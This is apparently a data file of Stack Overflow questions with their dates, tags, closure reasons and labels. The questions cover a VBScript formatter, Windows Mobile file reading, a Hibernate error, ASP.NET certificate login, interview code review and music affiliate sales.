Is there a utility to tidy VBScript ?
I'm wanting a tool to tidy VBScript code. I'm looking for something to do the same job as perltidy for Perl, or astyle for C++ and Java code. I've looked, but failed to find anything here or via Google. Open Source software would be preferred. Can anyone point me at one please?
vbscript
tidy
null
null
null
null
open
Is there a utility to tidy VBScript ? === I'm wanting a tool to tidy VBScript code. I'm looking for something to do the same job as perltidy for Perl, or astyle for C++ and Java code. I've looked, but failed to find anything here or via Google. Open Source software would be preferred. Can anyone point me at one please?
0
11,471,632
07/13/2012 13:39:13
1,518,044
07/11/2012 14:15:08
1
0
File.Readallbytes not working in windows mobile 6.0
i am sending image files between two windows mobile emulators but the function File.ReadAllBytes() is not working.any other function is available?
c#
windows
mobile
smartphone
file.readalllines
07/13/2012 17:43:24
not a real question
File.Readallbytes not working in windows mobile 6.0 === i am sending image files between two windows mobile emulators but the function File.ReadAllBytes() is not working.any other function is available?
1
3,280,289
07/19/2010 10:38:06
395,730
07/19/2010 10:38:06
1
0
org.hibernate.HibernateException: Unexpected row count: 0 expected:
org.hibernate.HibernateException: Unexpected row count: 0 expected:
java
null
null
null
null
07/19/2010 13:55:03
not a real question
org.hibernate.HibernateException: Unexpected row count: 0 expected: === org.hibernate.HibernateException: Unexpected row count: 0 expected:
1
1,266,020
08/12/2009 12:58:28
41,021
11/26/2008 13:16:39
2,531
74
Are there animated tutorials to teach topics like Databases?
I'm looking for animations that explain topics like Databases in a simple manner, especially for non-programmers. Something like this [animated intro][1] to Adobe Flex. Notice the clarity with which animations can explain new topics. [1]: http://learn.adobe.com/wiki/display/Flex/Animated+overview
database
animation
education
null
null
null
open
Are there animated tutorials to teach topics like Databases? === I'm looking for animations that explain topics like Databases in a simple manner, especially for non-programmers. Something like this [animated intro][1] to Adobe Flex. Notice the clarity with which animations can explain new topics. [1]: http://learn.adobe.com/wiki/display/Flex/Animated+overview
0
7,468,601
09/19/2011 09:06:27
952,313
09/19/2011 09:06:27
1
0
Authorization for the site using the crypto
Need to develop a page on ASP.net(c#) with authorization. During authorization, the user must specify which certificate it is to be using. The certificate will be stored in the operating system or browser.
c#
asp.net
cryptography
null
null
09/19/2011 18:23:56
not a real question
Authorization for the site using the crypto === Need to develop a page on ASP.net(c#) with authorization. During authorization, the user must specify which certificate it is to be using. The certificate will be stored in the operating system or browser.
1
614,481
03/05/2009 11:59:47
36,352
11/10/2008 22:03:33
116
5
What is the most constructive way to code-review an interview submission?
As part of our interview process, we ask candidates to complete a coding problem of moderate complexity. Some candidates seem to spend an awful long time on it and produce code that is not of high enough quality. It can be difficult to document what "high enough quality" actually is and provide feedback that is as useful and objective as possible to unsuccessful candidates. It can be easy to spot code smells like poor separation of concerns, large methods, cut and paste coding, or basically completely ignoring the most basic OO principles. After examining the code a gut feeling is probably going to be enough for us to make a decision, but how to feed back in such a way for the candidate to have gained some positive insight from their investment of time? Should we grade code on a 5 point scale for certain factors? What should the factors be since (eg) "maintainability" is highly important but highly difficult to measure or score... Perhaps we should just provide a reading list that shows the principles that are important to us? (For example DDD, Patterns of EAA, or maybe a more accessible one like Foundations of Programming.) We don't want to spend too long on assembling a hugely detailed review, just enough to be fair to the candidate. Any opinions? Note: I have looked at the other code review quesitons on SO but no answers seem to fit our need... We are of course not looking for production ready code, just well designed.
interview-questions
code-quality
feedback
code-review
null
12/04/2011 02:18:22
off topic
What is the most constructive way to code-review an interview submission? === As part of our interview process, we ask candidates to complete a coding problem of moderate complexity. Some candidates seem to spend an awful long time on it and produce code that is not of high enough quality. It can be difficult to document what "high enough quality" actually is and provide feedback that is as useful and objective as possible to unsuccessful candidates. It can be easy to spot code smells like poor separation of concerns, large methods, cut and paste coding, or basically completely ignoring the most basic OO principles. After examining the code a gut feeling is probably going to be enough for us to make a decision, but how to feed back in such a way for the candidate to have gained some positive insight from their investment of time? Should we grade code on a 5 point scale for certain factors? What should the factors be since (eg) "maintainability" is highly important but highly difficult to measure or score... Perhaps we should just provide a reading list that shows the principles that are important to us? (For example DDD, Patterns of EAA, or maybe a more accessible one like Foundations of Programming.) We don't want to spend too long on assembling a hugely detailed review, just enough to be fair to the candidate. Any opinions? Note: I have looked at the other code review quesitons on SO but no answers seem to fit our need... We are of course not looking for production ready code, just well designed.
2
7,139,474
08/21/2011 16:19:00
603,058
02/04/2011 11:27:17
21
3
How to become an Amazon or iTunes mp3 retailer
Does amazon or iTunes provide any way to sell their music online ? Example: I have a musical blog where I'm talking about DJ Vadim's new album. I obviously don't own the album rights. I know I can link to the page on amazon but is their a way I get a percentage of every sell I make via my website ? Thank's in advance !
mp3
itunes
amazon
null
null
08/21/2011 16:36:12
off topic
How to become an Amazon or iTunes mp3 retailer === Does amazon or iTunes provide any way to sell their music online ? Example: I have a musical blog where I'm talking about DJ Vadim's new album. I obviously don't own the album rights. I know I can link to the page on amazon but is their a way I get a percentage of every sell I make via my website ? Thank's in advance !
2